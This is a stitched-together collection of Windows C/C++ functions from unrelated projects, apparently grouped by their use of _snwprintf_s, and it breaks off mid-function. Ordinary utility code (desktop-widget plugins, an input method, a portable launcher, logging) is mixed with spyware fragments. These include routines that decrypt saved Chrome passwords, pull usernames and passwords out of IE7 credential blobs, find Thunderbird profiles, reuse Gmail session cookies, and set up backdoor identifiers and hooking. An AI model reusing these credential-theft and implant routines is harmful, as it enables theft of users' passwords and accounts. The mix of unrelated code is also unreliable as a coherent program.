bool EffectShaderAnnotationDX9Imp::acquireResource()
{
assert( effect_ );
if( NULL == effect_ ) return false;
switch( searchBy_ )
{
case ESEARCH_BY_INDEX:
handle_ = effect_->GetAnnotation( getParentHandle(), index_ );
break;
case ESEARCH_BY_NAME:
handle_ = effect_->GetParameterByName( getParentHandle(), convertString( name_ ).c_str() );
break;
}
if( NULL == handle_ ) {
wchar_t tmp[256];
_snwprintf_s( tmp, 256, L"EffectShaderAnnotationDX9Imp::acquireResource\n" );
OutputDebugStr( tmp );
return false;
}
assert( effect_ );
effect_->GetParameterDesc( getHandleDX9(), & desc_ );
return true;
}
DWORD GMailGetIK(LPSTR strCookie, LPSTR *strIKValue, LPWSTR *strCurrentUserName)
{
*strIKValue = NULL;
*strCurrentUserName = NULL;
LPWSTR strURI = NULL;
LPSTR strRecvBuffer = NULL;
DWORD dwRet, dwBufferSize;
strURI = (LPWSTR) zalloc(1024*sizeof(WCHAR));
_snwprintf_s(strURI, 1024, _TRUNCATE, L"/mail/?shva=1#%s", L"inbox"); // FIXME ARRAY
//_snwprintf_s(strURI, 1024, _TRUNCATE, L"/mail/u/0/?shva=1#%s", L"inbox"); // FIXME ARRAY
dwRet = HttpSocialRequest(L"mail.google.com", L"GET", strURI, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME ARRAY
zfree(strURI);
if (dwRet != SOCIAL_REQUEST_SUCCESS)
{
zfree(strRecvBuffer);
return dwRet;
}
if (!GMailParseForIK(strRecvBuffer, strIKValue, strCurrentUserName))
{
#ifdef _DEBUG
OutputDebug(L"[!] Could not PARSE for IK\n");
#endif
zfree(strRecvBuffer);
return SOCIAL_REQUEST_BAD_COOKIE;
}
return SOCIAL_REQUEST_SUCCESS;
}
void CTextService::_DelUserDic(WCHAR command, const std::wstring &key, const std::wstring &candidate)
{
DWORD bytesWrite, bytesRead;
_ConnectDic();
ZeroMemory(pipebuf, sizeof(pipebuf));
_snwprintf_s(pipebuf, _TRUNCATE, L"%c\n%s\t%s\n",
command, key.c_str(), candidate.c_str());
bytesWrite = (DWORD)((wcslen(pipebuf) + 1) * sizeof(WCHAR));
if(WriteFile(hPipe, pipebuf, bytesWrite, &bytesWrite, nullptr) == FALSE)
{
goto exit;
}
ZeroMemory(pipebuf, sizeof(pipebuf));
bytesRead = 0;
if(ReadFile(hPipe, pipebuf, sizeof(pipebuf), &bytesRead, nullptr) == FALSE)
{
goto exit;
}
exit:
ZeroMemory(pipebuf, sizeof(pipebuf));
_DisconnectDic();
}
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
{
DWORD res = ERROR_SUCCESS;
Packet* pResponse = packet_create_response(pPacket);
if (pResponse)
{
wchar_t buffer[MAX_PATH];
if (GetSystemDirectory(buffer, MAX_PATH) != 0)
{
wchar_t computerName[MAX_PATH];
DWORD computerNameSize = MAX_PATH;
DWORD serialNumber;
wchar_t* backslash = wcschr(buffer, L'\\');
*(backslash + 1) = L'\0';
GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0);
GetComputerName(computerName, &computerNameSize);
_snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName);
packet_add_tlv_wstring(pResponse, TLV_TYPE_MACHINE_ID, buffer);
dprintf("[CORE] sending machine id: %S", buffer);
}
packet_transmit_response(res, pRemote, pResponse);
}
return ERROR_SUCCESS;
}
BOOL SetFileDacl(LPCWSTR path)
{
BOOL bRet = FALSE;
WCHAR sddl[MAX_KRNLOBJNAME] = {L'\0'};
PSECURITY_DESCRIPTOR pSD = NULL;
LPWSTR pszUserSid;
if(GetUserSid(&pszUserSid))
{
_snwprintf_s(sddl, _TRUNCATE, L"D:%s(A;;FR;;;RC)(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;%s)",
(IsVersion62AndOver() ? L"(A;;FR;;;AC)" : L""), pszUserSid);
LocalFree(pszUserSid);
}
if(ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, SDDL_REVISION_1, &pSD, NULL))
{
if(SetFileSecurityW(path, DACL_SECURITY_INFORMATION, pSD))
{
bRet = TRUE;
}
LocalFree(pSD);
}
return bRet;
}
LPWSTR DecryptChromePass(LPBYTE strCryptData)
{
DWORD dwBlobSize;
DATA_BLOB pDataIn, pDataOut;
pDataOut.pbData = 0;
pDataOut.cbData = NULL;
pDataIn.pbData = strCryptData;
for (dwBlobSize=128; dwBlobSize<=2048; dwBlobSize+=16)
{
pDataIn.cbData = dwBlobSize;
if (fpCryptUnprotectData == NULL)
if (!ChromePasswordResolveApi())
return NULL;
if (fpCryptUnprotectData(&pDataIn, NULL, NULL, NULL, NULL, 0, &pDataOut))
break;
}
if (dwBlobSize >= 2048)
return NULL;
LPWSTR strClearData = (LPWSTR) zalloc((pDataOut.cbData+1)*sizeof(WCHAR));
if (!strClearData)
{
LocalFree(pDataOut.pbData);
return NULL;
}
_snwprintf_s(strClearData, pDataOut.cbData+1, _TRUNCATE, L"%S", pDataOut.pbData);
LocalFree(pDataOut.pbData);
return strClearData;
}
void CNHSQLServerDBO::OutputDBErrMsg(const _com_error& e)
{
const int nErrMsgLength(MAX_PATH);
wchar_t *pwchErrMsg = new wchar_t[nErrMsgLength]();
_snwprintf_s(pwchErrMsg, nErrMsgLength, _TRUNCATE, L"错误编号:%08lx 错误信息:%s 错误源:%s 错误描述:%s",
e.Error(),
e.ErrorMessage(),
(LPCWSTR)e.Source(),
(LPCWSTR)e.Description());
// 输出错误信息到输出窗口
OutputDebugStringW(L"\t");
OutputDebugStringW(pwchErrMsg);
OutputDebugStringW(L"\n");
// 输出错误信息到日志文件
if (0 != wcscmp(m_wchLogFilePath, L""))
{
// 当日志文件路径不为空时，写日志
CNHLogAPI::WriteLogEx(m_wchLogFilePath, LOG_ERR, L"NHSQLServerDBO", pwchErrMsg);
}
if (NULL != pwchErrMsg)
{
delete[] pwchErrMsg;
pwchErrMsg = NULL;
}
}
BOOL SetFileDacl(LPCWSTR path)
{
BOOL bRet = FALSE;
WCHAR sddl[MAX_KRNLOBJNAME] = {L'\0'};
PSECURITY_DESCRIPTOR psd = nullptr;
LPWSTR pszUserSid;
if(GetUserSid(&pszUserSid))
{
// SDDL_ALL_APP_PACKAGES / SDDL_RESTRICTED_CODE / SDDL_LOCAL_SYSTEM / SDDL_BUILTIN_ADMINISTRATORS / User SID
_snwprintf_s(sddl, _TRUNCATE, L"D:%s(A;;FR;;;RC)(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;%s)",
(IsWindowsVersion62OrLater() ? L"(A;;FR;;;AC)" : L""), pszUserSid);
LocalFree(pszUserSid);
}
if(ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, SDDL_REVISION_1, &psd, nullptr))
{
if(SetFileSecurityW(path, DACL_SECURITY_INFORMATION, psd))
{
bRet = TRUE;
}
LocalFree(psd);
}
return bRet;
}
PLUGIN_EXPORT void Reload(void* data, void* rm, double* maxValue)
{
MeasureData* measure = (MeasureData*)data;
LPCWSTR type = RmReadString(rm, L"ResCountType", L"GDI");
if (_wcsicmp(L"GDI", type) == 0)
{
measure->type = GDI_COUNT;
}
else if (_wcsicmp(L"USER", type) == 0)
{
measure->type = USER_COUNT;
}
else if (_wcsicmp(L"HANDLE", type) == 0)
{
measure->type = HANDLE_COUNT;
}
else if (_wcsicmp(L"WINDOW", type) == 0)
{
measure->type = WINDOW_COUNT;
}
else
{
WCHAR buffer[256];
_snwprintf_s(buffer, _TRUNCATE, L"ResMon.dll: GDICountType=%s is not valid in [%s]", type, RmGetMeasureName(rm));
RmLog(LOG_ERROR, buffer);
}
measure->process = RmReadString(rm, L"ProcessName", L"");
}
void LogInternal(int nLevel, ULONGLONG elapsed, LPCTSTR pszMessage)
{
// Add timestamp
WCHAR buffer[128];
size_t len = _snwprintf_s(buffer, _TRUNCATE, L"%02llu:%02llu:%02llu.%03llu", elapsed / (1000 * 60 * 60), (elapsed / (1000 * 60)) % 60, (elapsed / 1000) % 60, elapsed % 1000);
Rainmeter->AddAboutLogInfo(nLevel, buffer, pszMessage);
#ifndef _DEBUG
if (!Rainmeter->GetLogging()) return;
#endif
std::wstring message;
switch (nLevel)
{
case LOG_ERROR:
message = L"ERRO";
break;
case LOG_WARNING:
message = L"WARN";
break;
case LOG_NOTICE:
message = L"NOTE";
break;
case LOG_DEBUG:
message = L"DBUG";
break;
}
message += L" (";
message.append(buffer, len);
message += L") ";
message += pszMessage;
message += L'\n';
#ifdef _DEBUG
_RPT0(_CRT_WARN, ConvertToAscii(message.c_str()).c_str());
if (!Rainmeter->GetLogging()) return;
#endif
const WCHAR* logFile = Rainmeter->GetLogFile().c_str();
if (_waccess(logFile, 0) == -1)
{
// Disable logging if the file was deleted manually
Rainmeter->StopLogging();
}
else
{
FILE* file = _wfopen(logFile, L"a+, ccs=UTF-8");
if (file)
{
fputws(message.c_str(), file);
fclose(file);
}
}
}
void PerfLog::OutToPerfFile(__in_z const wchar_t *wszName, UnitOfMeasure unit, __in_opt const wchar_t *wszDescr)
{
LIMITED_METHOD_CONTRACT;
char szPrintStr[PRINT_STR_LEN];
if (CommaSeparatedFormat())
{
if (WszWideCharToMultiByte (CP_ACP, 0, m_wszOutStr_1, -1, szPrintStr, PRINT_STR_LEN-1, 0, 0) ) {
if (0 == WriteFile (m_hPerfLogFileHandle, szPrintStr, (DWORD)strlen(szPrintStr), &m_dwWriteByte, NULL))
printf("ERROR: Could not write to perf log.\n");
}
else
wprintf(W("ERROR: Could not do string conversion.\n"));
}
else
{
wchar_t wszOutStr_2[PRINT_STR_LEN];
// workaround. The formats for ExecTime is slightly different from a custom value.
if (wcscmp(wszName, W("ExecTime")) == 0)
_snwprintf_s(wszOutStr_2, PRINT_STR_LEN, PRINT_STR_LEN - 1, W("ExecUnitDescr=%s\nExecIDirection=%s\n"), wszDescr, wszIDirection[unit]);
else
{
if (wszDescr)
_snwprintf_s(wszOutStr_2, PRINT_STR_LEN, PRINT_STR_LEN - 1, W("%s Descr=%s\n%s Unit Descr=None\n%s IDirection=%s\n"), wszName, wszDescr, wszName, wszName, wszIDirection[unit]);
else
_snwprintf_s(wszOutStr_2, PRINT_STR_LEN, PRINT_STR_LEN - 1, W("%s Descr=None\n%s Unit Descr=None\n%s IDirection=%s\n"), wszName, wszName, wszName, wszIDirection[unit]);
}
// Write both pieces to the file.
if(WszWideCharToMultiByte (CP_ACP, 0, m_wszOutStr_1, -1, szPrintStr, PRINT_STR_LEN-1, 0, 0) ) {
if (0 == WriteFile (m_hPerfLogFileHandle, szPrintStr, (DWORD)strlen(szPrintStr), &m_dwWriteByte, NULL))
printf("ERROR: Could not write to perf log.\n");
}
else
wprintf(W("ERROR: Could not do string conversion.\n"));
if(WszWideCharToMultiByte (CP_ACP, 0, wszOutStr_2, -1, szPrintStr, PRINT_STR_LEN-1, 0, 0)) {
if (0 == WriteFile (m_hPerfLogFileHandle, szPrintStr, (DWORD)strlen(szPrintStr), &m_dwWriteByte, NULL))
printf("ERROR: Could not write to perf log.\n");
}
else
wprintf(W("ERROR: Could not do string conversion.\n"));
}
}
WCHAR *GetTBProfilePath()
{
WCHAR appPath[MAX_PATH];
WCHAR iniFile[MAX_PATH];
WCHAR profilePath[MAX_PATH];
static WCHAR FullPath[MAX_PATH];
FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH);
_snwprintf_s(iniFile, MAX_PATH, L"%s\\Thunderbird\\profiles.ini", appPath);
FNC(GetPrivateProfileStringW)(L"Profile0", L"Path", L"", profilePath, sizeof(profilePath), iniFile);
_snwprintf_s(FullPath, MAX_PATH, L"%s\\Thunderbird\\%s", appPath, profilePath);
return FullPath;
}
PLUGIN_EXPORT void Reload(void* data, void* rm, double* maxValue)
{
MeasureData* measure = (MeasureData*)data;
LPCWSTR type = RmReadString(rm, L"SpeedFanType", L"TEMPERATURE");
if (_wcsicmp(L"TEMPERATURE", type) == 0)
{
measure->type = TYPE_TEMP;
LPCWSTR scale = RmReadString(rm, L"SpeedFanScale", L"C");
if (_wcsicmp(L"C", scale) == 0)
{
measure->scale = SCALE_CENTIGRADE;
}
else if (_wcsicmp(L"F", scale) == 0)
{
measure->scale = SCALE_FARENHEIT;
}
else if (_wcsicmp(L"K", scale) == 0)
{
measure->scale = SCALE_KELVIN;
}
else
{
WCHAR buffer[256];
_snwprintf_s(buffer, _TRUNCATE, L"SpeedFanPlugin.dll: SpeedFanScale=%s is not valid in [%s]", scale, RmGetMeasureName(rm));
RmLog(LOG_ERROR, buffer);
}
}
else if (_wcsicmp(L"FAN", type) == 0)
{
measure->type = TYPE_FAN;
}
else if (_wcsicmp(L"VOLTAGE", type) == 0)
{
measure->type = TYPE_VOLT;
}
else
{
WCHAR buffer[256];
_snwprintf_s(buffer, _TRUNCATE, L"SpeedFanPlugin.dll: SpeedFanType=%s is not valid in [%s]", type, RmGetMeasureName(rm));
RmLog(LOG_ERROR, buffer);
}
measure->number = RmReadInt(rm, L"SpeedFanNumber", 0);
}
void SetGlobalVariables()
{
HANDLE hfile;
// Recupera il nome della directory dove si trova il core
WCHAR module_path[MAX_PATH];
ZeroMemory(g_directory_name, sizeof(g_directory_name));
if (FindModulePath(module_path, sizeof(module_path))) {
WCHAR *dir_ptr;
if (dir_ptr = wcsrchr(module_path, L'\\'))
*dir_ptr = 0;
if (dir_ptr = wcsrchr(module_path, L'\\'))
wcscpy(g_directory_name, dir_ptr+1);
}
// La chiave nel registry la deriva dalla directory
_snwprintf_s(g_registry_key_name, MAX_RAND_NAME, _TRUNCATE, L"%S", BIN_PATCHED_REGISTRY_KEY);
// Il nome dell'installer vmware e' lo stesso della directory
_snwprintf_s(g_installer_name, MAX_RAND_NAME, _TRUNCATE, L"%s.exe", g_directory_name);
// Recupera il PID del core
g_core_pid = GetParentPid(GetCurrentProcessId());
// Genera i nomi della shared memory in base al watermark per-cliente
BYTE *temp_arr = (BYTE *)WATERMARK;
BYTE ckey_arr[16];
for (int j=0; j<16; j++)
ckey_arr[j] = temp_arr[j];
ckey_arr[8] = 0;
_snprintf_s(SHARE_MEMORY_READ_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ckey_arr);
ckey_arr[7] = 0;
_snprintf_s(SHARE_MEMORY_WRITE_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ckey_arr);
// Handle per verificare se un processo ha gia' la sharedmem (e' gia' hookato)
if (hfile = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, SHARE_MEMORY_READ_NAME))
IPC_SHM_Kernel_Object = FindTokenObject(hfile);
// Inseriti solo per usarli
char dummy[256];
_snprintf_s(dummy, 50, _TRUNCATE, "%s", CLIENT_KEY);
_snprintf_s(dummy, 50, _TRUNCATE, "%s", ENCRYPTION_KEY);
_snprintf_s(dummy, 50, _TRUNCATE, "%s", ENCRYPTION_KEY_CONF);
_snprintf_s(dummy, 50, _TRUNCATE, "%s", BACKDOOR_ID);
_snprintf_s(dummy, 50, _TRUNCATE, "%s", DEMO_TAG);
}
void InitLua()
{
CHAR version[64];
lua = luaL_newstate();
if(lua == nullptr)
{
return;
}
luaL_openlibs(lua);
luaL_newlib(lua, luaFuncs);
lua_setglobal(lua, u8"crvmgr");
//skk-version
_snprintf_s(version, _TRUNCATE, "%s", WCTOU8(TEXTSERVICE_NAME L" " TEXTSERVICE_VER));
lua_pushstring(lua, version);
lua_setglobal(lua, u8"SKK_VERSION");
//%AppData%\\CorvusSKK\\init.lua
if(luaL_dofile(lua, WCTOU8(pathinitlua)) == LUA_OK)
{
return;
}
ZeroMemory(pathinitlua, sizeof(pathinitlua));
#ifdef _DEBUG
//<module directory>\\init.lua
if(GetModuleFileNameW(nullptr, pathinitlua, _countof(pathinitlua)) != 0)
{
WCHAR *pdir = wcsrchr(pathinitlua, L'\\');
if(pdir != nullptr)
{
*(pdir + 1) = L'\0';
wcsncat_s(pathinitlua, fninitlua, _TRUNCATE);
}
}
#else
PWSTR knownfolderpath = nullptr;
//%SystemRoot%\\IME\\IMCRVSKK\\init.lua
if(SUCCEEDED(SHGetKnownFolderPath(FOLDERID_Windows, KF_FLAG_DONT_VERIFY, nullptr, &knownfolderpath)))
{
_snwprintf_s(pathinitlua, _TRUNCATE, L"%s\\%s\\%s\\%s", knownfolderpath, L"IME", TEXTSERVICE_DIR, fninitlua);
CoTaskMemFree(knownfolderpath);
}
#endif
if(luaL_dofile(lua, WCTOU8(pathinitlua)) == LUA_OK)
{
return;
}
UninitLua();
}
static BOOL find_portable_dir(LPCWSTR base, LPWSTR *result, BOOL *existing) {
WCHAR buf[4*MAX_PATH] = {0};
_snwprintf_s(buf, 4*MAX_PATH, _TRUNCATE, L"%s\\calibre-portable.exe", base);
*existing = true;
if (file_exists(buf)) {
*result = _wcsdup(base);
if (*result == NULL) { show_error(L"Out of memory"); return false; }
return true;
}
WIN32_FIND_DATA fdFile;
HANDLE hFind = NULL;
_snwprintf_s(buf, 4*MAX_PATH, _TRUNCATE, L"%s\\*", base);
if((hFind = FindFirstFileEx(buf, FindExInfoStandard, &fdFile, FindExSearchLimitToDirectories, NULL, 0)) != INVALID_HANDLE_VALUE) {
do {
if(is_dots(fdFile.cFileName)) continue;
if(fdFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
_snwprintf_s(buf, 4*MAX_PATH, _TRUNCATE, L"%s\\%s\\calibre-portable.exe", base, fdFile.cFileName);
if (file_exists(buf)) {
*result = _wcsdup(buf);
if (*result == NULL) { show_error(L"Out of memory"); return false; }
PathRemoveFileSpec(*result);
FindClose(hFind);
return true;
}
}
} while(FindNextFile(hFind, &fdFile));
FindClose(hFind);
}
*existing = false;
_snwprintf_s(buf, 4*MAX_PATH, _TRUNCATE, L"%s\\Calibre Portable", base);
if (!CreateDirectory(buf, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
show_last_error(L"Failed to create Calibre Portable folder");
return false;
}
*result = _wcsdup(buf);
if (*result == NULL) { show_error(L"Out of memory"); return false; }
return true;
}
PLUGIN_EXPORT void Initialize(void** data, void* rm)
{
MeasureData* measure = new MeasureData;
*data = measure;
++g_Instances;
if (g_Instances == 1)
{
WCHAR buffer[256];
// Create WINLAN API Handle
if (g_hClient == nullptr)
{
DWORD dwNegotiatedVersion = 0;
DWORD dwErr = WlanOpenHandle(WLAN_API_VERSION, nullptr, &dwNegotiatedVersion, &g_hClient);
if (ERROR_SUCCESS != dwErr)
{
FinalizeHandle();
_snwprintf_s(buffer, _TRUNCATE, L"WifiStatus.dll: Unable to open WLAN API Handle. Error code (%u): %s", dwErr, ToErrorString(dwErr));
RmLog(LOG_ERROR, buffer);
return;
}
}
// Query list of WLAN interfaces
if (g_pIntfList == nullptr)
{
DWORD dwErr = WlanEnumInterfaces(g_hClient, nullptr, &g_pIntfList);
if (ERROR_SUCCESS != dwErr)
{
FinalizeHandle();
_snwprintf_s(buffer, _TRUNCATE, L"WifiStatus.dll: Unable to find any WLAN interfaces/adapters. Error code %u", dwErr);
RmLog(LOG_ERROR, buffer);
return;
}
else if (g_pIntfList->dwNumberOfItems == 0)
{
FinalizeHandle();
RmLog(LOG_ERROR, L"WifiStatus.dll: No WLAN interfaces/adapters available.");
return;
}
}
}
}
void MeasureNet::WriteStats(const WCHAR* iniFile, const std::wstring& statsDate)
{
WCHAR buffer[48];
int len;
uint32_t count = (uint32_t)c_StatValues.size() / 2;
// Reserve sufficient buffer for statistics
std::wstring data;
data.reserve(48 * (2 + count));
// Add date
data = L"Since=";
data += statsDate;
data += L'\0';
auto appendStatsValue = [&]()
{
data.append(buffer, len);
data += L'\0';
};
// Add stats count
len = _snwprintf_s(buffer, _TRUNCATE, L"Count=%u", count);
appendStatsValue();
// Add stats
for (uint32_t i = 0; i < count; ++i)
{
if (c_StatValues[i * 2] > 0)
{
len = _snwprintf_s(buffer, _TRUNCATE, L"In%u=%llu", i + 1, c_StatValues[i * 2]);
appendStatsValue();
}
if (c_StatValues[i * 2 + 1] > 0)
{
len = _snwprintf_s(buffer, _TRUNCATE, L"Out%u=%llu", i + 1, c_StatValues[i * 2 + 1]);
appendStatsValue();
}
}
// Write statistics
WritePrivateProfileSection(L"Statistics", data.c_str(), iniFile);
}
std::wstring DialogInstall::GetWindowsVersionString()
{
WCHAR buffer[16];
OSVERSIONINFOEX osvi = {sizeof(OSVERSIONINFOEX)};
GetVersionEx((OSVERSIONINFO*)&osvi);
_snwprintf_s(buffer, _TRUNCATE, L"%d.%d.%d", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
return buffer;
}
int WriteFileLogf(wstring fmt, ...) {
wchar_t szBuf[2048] = L"";
va_list args;
va_start(args, fmt);
_snwprintf_s(szBuf, 2048, 2048, fmt.data(), args);
WriteFileLog(*defaultlog, wstring(szBuf));
va_end(args);
return 0;
}
VOID NotifyNewCookie(LPSTR strDomain)
{
WCHAR strDomainW[1024];
_snwprintf_s(strDomainW, 1024, _TRUNCATE, L"%S", strDomain);
for (DWORD i=0; i<SOCIAL_ENTRY_COUNT; i++)
if (!wcscmp(strDomainW, pSocialEntry[i].strDomain))
pSocialEntry[i].bNewCookie = TRUE;
}
void ParseIE7Data(DATA_BLOB *Data_blob, WCHAR *URL)
{
unsigned int HeaderSize;
unsigned int DataSize;
int DataMax;
WCHAR User[1024];
WCHAR Pass[1024];
unsigned int offset;
char *pInfo;
char *pData;
char *Data = (char *)(Data_blob->pbData);
memcpy(&HeaderSize,&Data[4],4);
memcpy(&DataSize,&Data[8],4);
memcpy(&DataMax,&Data[20],4);
if (HeaderSize>=Data_blob->cbData || Data_blob->cbData<41)
return;
pInfo = &Data[36];
pData = &Data[HeaderSize];
for (; DataMax>0; DataMax-=2) {
Pass[0] = 0; // Se non trova la password la WriteAccount non la scrive
if (DataMax>=1) {
memcpy(&offset,pInfo,4);
if (HeaderSize+12+offset >= Data_blob->cbData)
return;
_snwprintf_s(User, sizeof(User)/sizeof(WCHAR), _TRUNCATE, L"%s", &Data[HeaderSize+12+offset]);
pInfo+=16;
}
if (DataMax>=2) {
memcpy(&offset,pInfo,4);
if (HeaderSize+12+offset >= Data_blob->cbData)
return;
_snwprintf_s(Pass, sizeof(Pass)/sizeof(WCHAR), _TRUNCATE, L"%s", &Data[HeaderSize+12+offset]);
pInfo+=16;
}
LogPassword(L"IExplorer", URL, User, Pass);
}
}
void CreateConfigPath()
{
WCHAR appdata[MAX_PATH];
pathconfigxml[0] = L'\0';
if(SHGetFolderPathW(NULL, CSIDL_APPDATA | CSIDL_FLAG_DONT_VERIFY, NULL, SHGFP_TYPE_CURRENT, appdata) != S_OK)
{
appdata[0] = L'\0';
return;
}
wcsncat_s(appdata, L"\\", _TRUNCATE);
wcsncat_s(appdata, TextServiceDesc, _TRUNCATE);
wcsncat_s(appdata, L"\\", _TRUNCATE);
_wmkdir(appdata);
SetCurrentDirectoryW(appdata);
_snwprintf_s(pathconfigxml, _TRUNCATE, L"%s%s", appdata, fnconfigxml);
LPWSTR pszUserSid;
WCHAR szDigest[32+1];
MD5_DIGEST digest;
int i;
ZeroMemory(cnfmutexname, sizeof(cnfmutexname));
ZeroMemory(szDigest, sizeof(szDigest));
if(GetUserSid(&pszUserSid))
{
if(GetMD5(&digest, (CONST BYTE *)pszUserSid, (DWORD)wcslen(pszUserSid)*sizeof(WCHAR)))
{
for(i=0; i<_countof(digest.digest); i++)
{
_snwprintf_s(&szDigest[i*2], _countof(szDigest)-i*2, _TRUNCATE, L"%02x", digest.digest[i]);
}
}
LocalFree(pszUserSid);
}
_snwprintf_s(cnfmutexname, _TRUNCATE, L"%s%s", VIMCNFMUTEX, szDigest);
}
void CMeasure::GetScaledValue(AUTOSCALE autoScale, int decimals, double theValue, WCHAR* buffer, size_t sizeInWords)
{
WCHAR format[32];
double value = 0;
if (decimals == 0)
{
wcsncpy_s(format, L"%.0f", _TRUNCATE);
}
else
{
_snwprintf_s(format, _TRUNCATE, L"%%.%if", decimals);
}
const double* tblScale =
g_TblScale[(autoScale == AUTOSCALE_1000 || autoScale == AUTOSCALE_1000K) ? AUTOSCALE_INDEX_1000 : AUTOSCALE_INDEX_1024];
if (theValue >= tblScale[0])
{
value = theValue / tblScale[0];
wcsncat_s(format, L" T", _TRUNCATE);
}
else if (theValue >= tblScale[1])
{
value = theValue / tblScale[1];
wcsncat_s(format, L" G", _TRUNCATE);
}
else if (theValue >= tblScale[2])
{
value = theValue / tblScale[2];
wcsncat_s(format, L" M", _TRUNCATE);
}
else if (autoScale == AUTOSCALE_1024K || autoScale == AUTOSCALE_1000K || theValue >= tblScale[3])
{
value = theValue / tblScale[3];
wcsncat_s(format, L" k", _TRUNCATE);
}
else
{
value = theValue;
wcsncat_s(format, L" ", _TRUNCATE);
}
_snwprintf_s(buffer, sizeInWords, _TRUNCATE, format, value);
}
DWORD CNHSQLServerDBO::ExecuteCount(const _ConnectionPtr &pConnection, const wchar_t *const pwchSQL, int *const pnCountNum)
{
assert(NULL != pConnection);
assert(NULL != pwchSQL);
assert(NULL != pnCountNum);
DWORD dwReturn(0x00);
try
{
_RecordsetPtr pRecordset(NULL);
if (0x00 == OpenQuery(pConnection, pRecordset, pwchSQL))
{
_variant_t v;
v.ChangeType(VT_NULL);
CNHSQLServerDBO::GetFieldValue(pRecordset, v, L"CountNum");
if (VT_NULL!=v.vt && VT_EMPTY!=v.vt)
{
(*pnCountNum) = static_cast<int>(v);
}
CNHSQLServerDBO::CloseQuery(pRecordset);
}
else
{
dwReturn = 0x01;
}
}
catch (_com_error &e)
{
//#ifdef _DEBUG
const int nErrMsgLength(MAX_PATH);
wchar_t *pwchErrMsg = new wchar_t[nErrMsgLength]();
_snwprintf_s(pwchErrMsg, nErrMsgLength, _TRUNCATE, L"CNHSQLServerDBO::ExecuteCount发生错误（执行%s）。", pwchSQL);
// 输出错误信息到输出窗口
OutputDebugStringW(L"\t");
OutputDebugStringW(pwchErrMsg);
OutputDebugStringW(L"\n");
// 输出错误信息到日志文件
if (0 != wcscmp(m_wchLogFilePath, L""))
{
// 当日志文件路径不为空时，写日志
CNHLogAPI::WriteLogEx(m_wchLogFilePath, LOG_ERR, L"NHSQLServerDBO", pwchErrMsg);
}
if (NULL != pwchErrMsg)
{
delete[] pwchErrMsg;
pwchErrMsg = NULL;
}
OutputDBErrMsg(e);
//#endif
dwReturn = 0xff;
}
return dwReturn;
}
//获取 IE profile 文件路径
WCHAR *GetIEProfilePath(WCHAR *cookie_path)
{
static WCHAR FullPath[MAX_PATH];
WCHAR appPath[MAX_PATH];
memset(appPath, 0, sizeof(appPath));
GetEnvironmentVariableW(L"APPDATA", appPath, MAX_PATH);
_snwprintf_s(FullPath, MAX_PATH, L"%s\\%s", appPath, cookie_path);
return FullPath;
}
/*
** Writes statistics.
**
*/
void CMeasureNet::WriteStats(const WCHAR* iniFile, const std::wstring& statsDate)
{
WCHAR buffer[64];
WCHAR buffer2[32];
size_t len, len2;
size_t statsSize = c_StatValues.size() / 2;
// Reserve sufficient buffer for statistics
std::wstring data;
data.reserve((64 * 2) + 128 * statsSize);
// Add date
AppendStatsValue(data, L"Since", 5, statsDate.c_str(), statsDate.size());
// Add stats count
len = _snwprintf_s(buffer, _TRUNCATE, L"%i", (int)statsSize);
AppendStatsValue(data, L"NetStatsCount", 13, buffer, len);
// Add stats
for (size_t i = 0; i < statsSize; ++i)
{
ULARGE_INTEGER value;
value.QuadPart = c_StatValues[i * 2];
len = _snwprintf_s(buffer, _TRUNCATE, L"NetStatsInHigh%i", (int)i + 1);
len2 = _snwprintf_s(buffer2, _TRUNCATE, L"%u", value.HighPart);
AppendStatsValue(data, buffer, len, buffer2, len2);
len = _snwprintf_s(buffer, _TRUNCATE, L"NetStatsInLow%i", (int)i + 1);
len2 = _snwprintf_s(buffer2, _TRUNCATE, L"%u", value.LowPart);
AppendStatsValue(data, buffer, len, buffer2, len2);
value.QuadPart = c_StatValues[i * 2 + 1];
len = _snwprintf_s(buffer, _TRUNCATE, L"NetStatsOutHigh%i", (int)i + 1);
len2 = _snwprintf_s(buffer2, _TRUNCATE, L"%u", value.HighPart);
AppendStatsValue(data, buffer, len, buffer2, len2);
len = _snwprintf_s(buffer, _TRUNCATE, L"NetStatsOutLow%i", (int)i + 1);
len2 = _snwprintf_s(buffer2, _TRUNCATE, L"%u", value.LowPart);
AppendStatsValue(data, buffer, len, buffer2, len2);
}
// Write statistics
WritePrivateProfileSection(L"Statistics", data.c_str(), iniFile);
}
void SetNewCookie(char *domain)
{
WCHAR domain_w[64];
_snwprintf_s(domain_w, 64, _TRUNCATE, L"%S", domain);
for (int i=0; i<SOCIAL_ENTRY_COUNT; i++)
if (!wcscmp(domain_w, social_entry[i].domain)) {
social_entry[i].is_new_cookie = TRUE;
}
}
static std::string getProductName(const std::string& path)
{
auto wpath = UTF8ToWide(path);
auto verLength = GetFileVersionInfoSize(wpath.c_str(), nullptr);
if (!verLength) {
return "";
}
auto buffer = malloc(verLength);
if (!GetFileVersionInfo(wpath.c_str(), 0, verLength, buffer)) {
free(buffer);
return "";
}
struct LANGANDCODEPAGE
{
WORD language;
WORD codePage;
} *translations;
UINT translationsLength, nameLength;
WCHAR subBlockName[50];
WCHAR *neutralSubBlock = L"\\StringFileInfo\\00000000\\FileDescription";
WCHAR *name;
if (!VerQueryValue(buffer, L"\\VarFileInfo\\Translation",
(void **)&translations, &translationsLength)) {
free(buffer);
return "";
}
if (translationsLength < sizeof(LANGANDCODEPAGE)) {
free(buffer);
return "";
}
// TODO: try current locale/codepage
if (!VerQueryValue(buffer, neutralSubBlock, (void **)&name, &nameLength)) {
_snwprintf_s(subBlockName, _TRUNCATE,
